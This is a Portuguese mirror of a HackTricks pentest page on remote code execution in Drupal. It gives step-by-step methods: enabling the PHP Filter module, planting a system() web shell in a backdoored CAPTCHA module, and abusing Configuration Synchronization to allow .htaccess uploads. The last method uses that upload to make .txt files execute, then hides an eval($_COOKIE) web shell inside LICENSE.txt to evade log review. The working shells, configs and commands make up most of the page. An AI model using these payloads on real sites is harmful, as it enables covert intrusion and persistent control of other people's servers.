mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-29 22:43:11 +00:00
270 lines
12 KiB
Markdown
270 lines
12 KiB
Markdown
|
# Drupal RCE
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
||
|
Outras formas de apoiar o HackTricks:
|
||
|
|
||
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## Com o Módulo PHP Filter
|
||
|
|
||
|
{% hint style="warning" %}
|
||
|
Nas versões mais antigas do Drupal **(antes da versão 8)**, era possível fazer login como administrador e **ativar o módulo `PHP filter`**, que "Permite que trechos de código/snippets PHP embutidos sejam avaliados." Mas a partir da versão 8, este módulo não está instalado por padrão.
|
||
|
{% endhint %}
|
||
|
|
||
|
Você precisa que o **plugin php esteja instalado** (verifique acessando _/modules/php_ e se retornar um **403** então, **existe**, se **não encontrado**, então o **plugin php não está instalado**)
|
||
|
|
||
|
Vá para _Módulos_ -> (**Marque**) _PHP Filter_ -> _Salvar configuração_
|
||
|
|
||
|
![](<../../../.gitbook/assets/image (247) (1).png>)
|
||
|
|
||
|
Em seguida, clique em _Adicionar conteúdo_ -> Selecione _Página Básica_ ou _Artigo_ -> Escreva _código shell php no corpo_ -> Selecione _Código PHP_ em _Formato de texto_ -> Selecione _Visualizar_
|
||
|
|
||
|
![](<../../../.gitbook/assets/image (338).png>)
|
||
|
|
||
|
Finalmente, acesse o nó recém-criado:
|
||
|
```bash
|
||
|
curl http://drupal-site.local/node/3
|
||
|
```
|
||
|
## Instalar o Módulo Filtro PHP
|
||
|
|
||
|
{% hint style="warning" %}
|
||
|
Nas versões atuais, não é mais possível instalar plugins tendo apenas acesso à web após a instalação padrão.
|
||
|
{% endhint %}
|
||
|
|
||
|
A partir da versão **8 em diante**, o [**módulo PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **não é mais instalado por padrão**. Para aproveitar essa funcionalidade, teríamos que **instalar o módulo por conta própria**.
|
||
|
|
||
|
1. Baixe a versão mais recente do módulo no site do Drupal.
|
||
|
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||
|
2. Após o download, vá para **`Administração`** > **`Relatórios`** > **`Atualizações disponíveis`**.
|
||
|
3. Clique em **`Procurar`**, selecione o arquivo no diretório em que o baixamos e clique em **`Instalar`**.
|
||
|
4. Depois que o módulo estiver instalado, podemos clicar em **`Conteúdo`** e **criar uma nova página básica**, semelhante ao que fizemos no exemplo do Drupal 7. Novamente, certifique-se de **selecionar `Código PHP` no menu suspenso `Formato de texto`**.
|
||
|
|
||
|
## Módulo com Backdoor
|
||
|
|
||
|
{% hint style="warning" %}
|
||
|
Nas versões atuais, não é mais possível instalar plugins tendo apenas acesso à web após a instalação padrão.
|
||
|
{% endhint %}
|
||
|
|
||
|
Um módulo com backdoor pode ser criado **adicionando um shell a um módulo existente**. Os módulos podem ser encontrados no site drupal.org. Vamos escolher um módulo como o [CAPTCHA](https://www.drupal.org/project/captcha). Role para baixo e copie o link para o arquivo tar.gz [arquivo](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||
|
|
||
|
* Baixe o arquivo e extraia seu conteúdo.
|
||
|
```
|
||
|
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
|
||
|
tar xvf captcha-8.x-1.2.tar.gz
|
||
|
```
|
||
|
* Criar um **shell web PHP** com o conteúdo:
|
||
|
```php
|
||
|
<?php
|
||
|
system($_GET["cmd"]);
|
||
|
?>
|
||
|
```
|
||
|
* Em seguida, precisamos criar um arquivo **`.htaccess`** para nos dar acesso à pasta. Isso é necessário, pois o Drupal nega acesso direto à pasta **`/modules`**.
|
||
|
```html
|
||
|
<IfModule mod_rewrite.c>
|
||
|
RewriteEngine On
|
||
|
RewriteBase /
|
||
|
</IfModule>
|
||
|
```
|
||
|
* A configuração acima aplicará regras para a pasta / quando solicitarmos um arquivo em /modules. Copie ambos esses arquivos para a pasta captcha e crie um arquivo compactado.
|
||
|
```bash
|
||
|
mv shell.php .htaccess captcha
|
||
|
tar cvf captcha.tar.gz captcha/
|
||
|
```
|
||
|
* Assumindo que temos **acesso administrativo** ao site, clique em **`Gerenciar`** e depois em **`Estender`** na barra lateral. Em seguida, clique no botão **`+ Instalar novo módulo`**, e seremos levados para a página de instalação, como `http://drupal-site.local/admin/modules/install`. Navegue até o arquivo backdoored Captcha e clique em **`Instalar`**.
|
||
|
* Após a instalação bem-sucedida, navegue para **`/modules/captcha/shell.php`** para executar comandos.
|
||
|
|
||
|
## Backdooring Drupal com Sincronização de Configuração <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||
|
|
||
|
**Post compartilhado por** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
||
|
|
||
|
### Parte 1 (ativação de _Mídia_ e _Biblioteca de Mídia_)
|
||
|
|
||
|
No menu _Estender_ (/admin/modules), você pode ativar o que parecem ser plugins já instalados. Por padrão, os plugins _Mídia_ e _Biblioteca de Mídia_ não parecem estar ativados, então vamos ativá-los.
|
||
|
|
||
|
Antes da ativação:
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
Após a ativação:
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
### Parte 2 (alavancando o recurso _Sincronização de Configuração_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||
|
|
||
|
Vamos aproveitar o recurso _Sincronização de Configuração_ para despejar (exportar) e carregar (importar) entradas de configuração do Drupal:
|
||
|
|
||
|
* /admin/config/development/configuration/single/export
|
||
|
* /admin/config/development/configuration/single/import
|
||
|
|
||
|
**Patching system.file.yml**
|
||
|
|
||
|
Vamos começar aplicando o patch na primeira entrada `allow_insecure_uploads` de:
|
||
|
|
||
|
Arquivo: system.file.yml
|
||
|
```
|
||
|
|
||
|
...
|
||
|
|
||
|
allow_insecure_uploads: false
|
||
|
|
||
|
...
|
||
|
|
||
|
```
|
||
|
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
Para:
|
||
|
|
||
|
Arquivo: system.file.yml
|
||
|
```
|
||
|
|
||
|
...
|
||
|
|
||
|
allow_insecure_uploads: true
|
||
|
|
||
|
...
|
||
|
|
||
|
```
|
||
|
<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
**Patch campo field.field.media.document.field\_media\_document.yml**
|
||
|
|
||
|
Em seguida, corrija a segunda entrada `file_extensions` de:
|
||
|
|
||
|
Arquivo: field.field.media.document.field\_media\_document.yml
|
||
|
```
|
||
|
|
||
|
...
|
||
|
|
||
|
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||
|
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||
|
|
||
|
...
|
||
|
```
|
||
|
<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
Para:
|
||
|
|
||
|
Arquivo: field.field.media.document.field\_media\_document.yml
|
||
|
```
|
||
|
...
|
||
|
|
||
|
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||
|
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||
|
|
||
|
...
|
||
|
|
||
|
```
|
||
|
> Não o utilizo neste post do blog, mas é importante notar que é possível definir a entrada `file_directory` de forma arbitrária e que ela é vulnerável a um ataque de travessia de caminho (assim podemos voltar dentro da árvore do sistema de arquivos do Drupal).
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
### Parte 3 (alavancando o recurso _Adicionar Documento_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||
|
|
||
|
O último passo é o mais simples e é dividido em dois subpassos. O primeiro é fazer o upload de um arquivo no formato .htaccess para alavancar as diretivas do Apache e permitir que arquivos .txt sejam interpretados pelo motor PHP. O segundo é fazer o upload de um arquivo .txt contendo nosso payload.
|
||
|
|
||
|
Arquivo: .htaccess
|
||
|
```
|
||
|
<Files *>
|
||
|
SetHandler application/x-httpd-php
|
||
|
</Files>
|
||
|
|
||
|
# Vroum! Vroum!
|
||
|
# We reactivate PHP engines for all versions in order to be targetless.
|
||
|
<IfModule mod_php.c>
|
||
|
php_flag engine on
|
||
|
</IfModule>
|
||
|
<IfModule mod_php7.c>
|
||
|
php_flag engine on
|
||
|
</IfModule>
|
||
|
<IfModule mod_php5.c>
|
||
|
php_flag engine on
|
||
|
</IfModule>
|
||
|
```
|
||
|
Por que esse truque é legal?
|
||
|
|
||
|
Porque uma vez que o Webshell (que chamaremos de LICENSE.txt) é colocado no servidor Web, podemos transmitir nossos comandos via `$_COOKIE` e nos logs do servidor Web, isso aparecerá como uma solicitação GET legítima para um arquivo de texto.
|
||
|
|
||
|
Por que nomear nosso Webshell de LICENSE.txt?
|
||
|
|
||
|
Simplesmente porque se pegarmos o seguinte arquivo, por exemplo [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (que já está presente no núcleo do Drupal), temos um arquivo de 339 linhas e 17,6 KB de tamanho, o que é perfeito para adicionar um pequeno trecho de código PHP no meio (já que o arquivo é grande o suficiente).
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
Arquivo: LICENSE.txt Patcheado
|
||
|
```txt
|
||
|
|
||
|
...
|
||
|
|
||
|
this License, you may choose any version ever published by the Free Software
|
||
|
Foundation.
|
||
|
|
||
|
<?php
|
||
|
|
||
|
# We inject our payload into the cookies so that in the logs of the compromised
|
||
|
# server it shows up as having been requested via the GET method, in order to
|
||
|
# avoid raising suspicions.
|
||
|
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||
|
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||
|
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
|
||
|
} else {
|
||
|
phpinfo();
|
||
|
}
|
||
|
}
|
||
|
|
||
|
?>
|
||
|
|
||
|
10. If you wish to incorporate parts of the Program into other free
|
||
|
programs whose distribution conditions are different, write to the author
|
||
|
|
||
|
...
|
||
|
|
||
|
```
|
||
|
#### **Parte 3.1 (upload do arquivo .htaccess)**
|
||
|
|
||
|
Primeiro, aproveitamos o recurso _Adicionar Documento_ (/media/add/document) para fazer upload do nosso arquivo contendo as diretivas do Apache (.htaccess).
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
**Parte 3.2 (upload do arquivo LICENSE.txt)**
|
||
|
|
||
|
Em seguida, aproveitamos novamente o recurso _Adicionar Documento_ (/media/add/document) para fazer upload de um Webshell oculto dentro de um arquivo de licença.
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
### Parte 4 (interação com o Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
||
|
|
||
|
A última parte consiste em interagir com o Webshell.
|
||
|
|
||
|
Como mostrado na captura de tela a seguir, se o cookie esperado pelo nosso Webshell não estiver definido, obtemos o resultado subsequente ao consultar o arquivo via um navegador da Web.
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
Quando o atacante define o cookie, ele pode interagir com o Webshell e executar os comandos que desejar.
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
E, como você pode ver nos logs, parece que apenas um arquivo txt foi solicitado.
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
Obrigado por dedicar seu tempo para ler este artigo, espero que ajude você a obter alguns shells.
|